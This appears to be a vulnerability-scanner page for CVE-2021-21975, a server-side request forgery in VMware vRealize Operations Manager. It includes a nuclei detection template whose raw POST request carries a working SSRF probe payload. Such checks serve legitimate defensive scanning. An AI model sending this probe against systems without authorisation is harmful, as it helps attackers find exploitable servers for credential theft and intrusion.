vRealize Operations Manager API - Server-Side Request Forgery

Exploited in the wild. Listed by CISA on 2022-01-18; known to be used by ransomware.

highseverity

7.5CVSS score

78%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

vRealize Operations Manager API is susceptible to server-side request forgery. A malicious actor with network access to the vRealize Operations Manager API can steal administrative credentials or trigger remote code execution using CVE-2021-21983.

Impact

Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks.

Fix

Apply the necessary security patches or updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /casa/nodes/thumbprints
Positive when: contains "vRealize Operations Manager" and "thumbprint" and "address" AND status 200

Run it with nuclei: nuclei -id CVE-2021-21975 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-21975

info:
  name: vRealize Operations Manager API - Server-Side Request Forgery
  author: luci
  severity: high
  description: vRealize Operations Manager API is susceptible to server-side request forgery. A malicious actor with network access to the vRealize Operations Manager API can steal administrative credentials or trigger remote code execution using CVE-2021-21983.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks.
  remediation: |
    Apply the necessary security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2021-0004.html
    - http://packetstormsecurity.com/files/162349/VMware-vRealize-Operations-Manager-Server-Side-Request-Forgery-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21975
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-21975
    cwe-id: CWE-918
    epss-score: 0.78001
    epss-percentile: 0.99577
    cpe: cpe:2.3:a:vmware:cloud_foundation:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: cloud_foundation
  tags: cve2021,cve,kev,packetstorm,ssrf,vmware,vrealize,vkev,vuln

http:
  - raw:
      - |
        POST /casa/nodes/thumbprints HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        ["127.0.0.1:443/ui/"]

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'vRealize Operations Manager'
          - 'thumbprint'
          - 'address'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from